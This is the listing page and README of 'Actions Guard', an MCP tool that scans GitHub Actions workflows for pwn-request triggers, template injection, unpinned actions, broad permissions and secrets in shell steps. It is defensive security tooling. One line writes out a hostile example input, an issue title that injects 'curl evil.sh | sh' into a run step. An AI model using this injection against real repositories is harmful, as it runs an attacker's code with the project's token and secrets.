Actions Guard
FreeNot checkedScans GitHub Actions workflow files for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets in shell commands before th
About
Scans GitHub Actions workflow files for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets in shell commands before they are committed, exposing the checks as MCP tools for agents.
README
A GitHub Actions workflow security scanner, exposed as MCP tools — so an agent can catch the "pwn request" and supply-chain patterns that have caused real incidents (CoreShop, tj-actions, and others) before a workflow file is committed, not after.
Why this exists
Static analysis for GitHub Actions workflows is a mature, well-understood
field — zizmor is a respected,
actively maintained standalone scanner for exactly this. What doesn't
exist yet is a serious MCP wrapper around that class of analysis. The one
project found in a broad search (github-security-mcp) spreads 45 checks
across org settings, secrets, supply chain, and Actions in one generic
tool — 12 stars, no commits in 5 months. Nothing focuses on workflow
security specifically, deeply, as something an agent can call while it's
actively writing or reviewing a workflow file.
What it catches
- Dangerous triggers (AGMCP-101) —
pull_request_targetorworkflow_runcombined with a checkout step whoseref:orrepository:points at the triggering PR/run's own fork. This is the exact shape of the CoreShop incident: a workflow that runs with the base repo's token and secrets, but checks out and executes code from the fork that triggered it. - Template injection (AGMCP-102) —
${{ ... }}expressions built from attacker-controlled context (github.event.issue.title,github.event.pull_request.title,github.event.comment.body,github.head_ref, atoJSON(github.event)whole-payload dump, and similar) interpolated directly into arun:step, rather than passed throughenv:. The classic shape isrun: echo "${{ github.event.issue.title }}"— an issue title of"; curl evil.sh | sh #is not a string at that point, it's shell. - Unpinned actions and reusable workflows (AGMCP-103) —
uses: owner/repo@v4(a tag or branch, both mutable) instead of a pinned commit SHA; a job-level reusable-workflow call (jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main) pinned the same mutable way; or adocker://image:tagreference not pinned to a@sha256:digest. This is the exact supply-chain surface the tj-actions incident used: a compromised tag pointed everyone using it at malicious code with no version bump. - Excessive permissions (AGMCP-104) —
permissions: write-all, or explicit broadwritescopes (contents,actions,packages, ...), set at either the workflow level or a job level, on a workflow that also has a risky trigger, where a narrower scope would do. - Secrets interpolated into shell (AGMCP-105) —
${{ secrets.X }}used directly in arun:step instead of passed throughenv:, which is unnecessary exposure of the raw secret value into the shell command line / process list rather than an environment variable.
All marker matching (AGMCP-101/102/105) normalizes GitHub Actions'
bracket-notation property access (github.event['issue']['title']) to
the equivalent dot form and matches case-insensitively, since the
expression language treats both as identical.
Known limitations
This is pattern matching over the literal text of ${{ }} expressions
and with:/permissions: blocks — not a full GitHub Actions expression
parser or a data-flow analysis. A clean scan means "no known risky
pattern found in the text as written," not a guarantee the workflow is
safe. Concretely:
- No cross-step /
env:data-flow tracking. A dangerous value routed through an intermediateenv:variable or a step output before reaching a checkoutref:or arun:command is invisible to AGMCP-101/102/105 — only the literal expression in the field being checked is inspected. - The attacker-controlled-context marker list (AGMCP-102) is a finite, hand-maintained set, not a real enumeration of every context path GitHub Actions exposes. A new or uncommon field can exist that isn't listed yet.
If a clean result matters for a security decision, don't treat it as the last word — zizmor does deeper, more general static analysis of the same file class and is worth running alongside this, not instead of it.
Setup
pip install actions-guard-mcp
actions-guard-mcp
No configuration needed — every tool takes a workflow file path or its raw YAML content directly.
Status
Early build.
License
MIT
Install Actions Guard in Claude Desktop, Claude Code & Cursor
unyly install actions-guard-mcpInstalls into Claude Desktop, Claude Code, Cursor & VS Code — handles npx, uvx and build-from-source repos for you.
First time? Get the CLI: curl -fsSL https://unyly.org/install | sh
Or configure manually
Run in your terminal:
claude mcp add actions-guard-mcp -- uvx --from git+https://github.com/BerkantACUN/actions-guard-mcp actions-guard-mcpStep-by-step: how to install Actions Guard
FAQ
Is Actions Guard MCP free?
Yes, Actions Guard MCP is free — one-click install via Unyly at no cost.
Does Actions Guard need an API key?
No, Actions Guard runs without API keys or environment variables.
Is Actions Guard hosted or self-hosted?
Self-hosted: the server runs locally on your machine via the install command above.
How do I install Actions Guard in Claude Desktop, Claude Code or Cursor?
Open Actions Guard on unyly.org, pick your client tab (Claude Desktop, Claude Code, Cursor) and press Install — the config is generated automatically, no JSON editing.
Related MCPs
GitHub
PRs, issues, code search, CI status
by GitHubFilesystem
Secure file operations with configurable access controls.
Memory
Knowledge graph-based persistent memory system.
Template MCP Server
A CLI tool to create a new Model Context Protocol server project with TypeScript support, dual transport options, and an extensible structure
by mcpdotdirectAmap Maps Mcp Server
MCP server for using the AMap Maps API
by duxiaohuiSupabase
Database, auth and storage
by SupabaseEverything
Reference / test server with prompts, resources, and tools.
Git
Tools to read, search, and manipulate Git repositories.
Sequential Thinking
Dynamic and reflective problem-solving through thought sequences.
Time
Time and timezone conversion capabilities.
Compare Actions Guard with
Not sure what to pick?
Find your stack in 60 seconds
Author?
Embed badge for your README
Browse similar
All development MCPs
